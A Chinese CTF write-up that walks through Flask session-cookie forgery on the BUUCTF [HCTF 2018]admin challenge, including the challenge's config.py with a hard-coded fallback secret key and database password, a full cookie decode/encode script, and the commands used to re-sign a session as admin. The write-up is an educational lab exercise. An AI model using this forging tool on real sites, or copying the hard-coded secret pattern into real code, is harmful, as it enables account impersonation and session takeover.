前言

本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好,但是还是想自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来,还是有点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己太菜,下面就结合BUUCTF中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。参考文章

正文

本来这个题是有三种解法的,分别是:flask session伪造、Unicode欺骗、条件竞争。但是由于本篇文章主要讲解flask session伪造,所以就不再讲另外两种方法啦。

welcome

因为已经遇到了相似的了,所以也知道是为了拿到admin账号,我就直接注册了,不过ciscn的那个题在注册那里多了一个md5截断爆破,既然这里没有就直接注册。

register

可以看到已经存在admin用户了,所以先随便注册一个普通用户,不过刚开始还以为是SQL注入,试过以后都不行,看了其他师傅的文章才知道是session伪造。

在将session伪造前需要提一下的是,session一般都是存储在服务器端的,但是由于flask是轻量级的框架,所以让session存储在了客户端的cookie中,也正是因为这个才导致了session伪造的漏洞,从而达到冒充其他用户的目的。

github

可以看到在更改密码的页面源码里面有GitHub的项目地址

github2

这里直接让源码下载到本地看一下,emmmm,只怪我代码审计能力不行,还是看了其他师傅的文章才找到了flask用来签名的secret_key,就在config.py文件里面

1
2
3
4
5
6
import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

接下来我们就先让我们登录成功的session复制下来解密,注意得是登录成功以后的

session

就是response响应包的session值,然后我们就开始解密,解密加密脚本可以直接从github上面下载,但是有时候github国内访问不了,我这里也在放一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))


我这里放的是python3的脚本,如果想用python2版本的师傅可以自行下载哈。

脚本使用方法

解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”

加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

session_decode

可以看到session已经解密为明文了,下面就让解密后的session值复制下来,让用户名改为admin就可以了,再进行加密之后替换掉原来的session值就可以了

session_encode

在加密的时候让用户名teng替换为了admin,然后直接在浏览器中修改一下session值就可以了,也可用bp抓包修改

alter_session

修改过后刷新一下页面就可以啦

flag

可以看到现在已经是admin用户了,并且flag也出来, 另外两种方法就不在这里写了,感兴趣的师傅可以看前面放的参考的师傅文章链接。

结语

通过这次ciscn又充分认识到自己的技术还是太菜,记录这次做题经历呢也是想更充分了解其中的原理,从而也可以思考一下真实环境下的安全隐患。本文中个人见解错误的地方还请师傅们帮忙指正。

路漫漫其修远兮,我的网安之路还很长,加油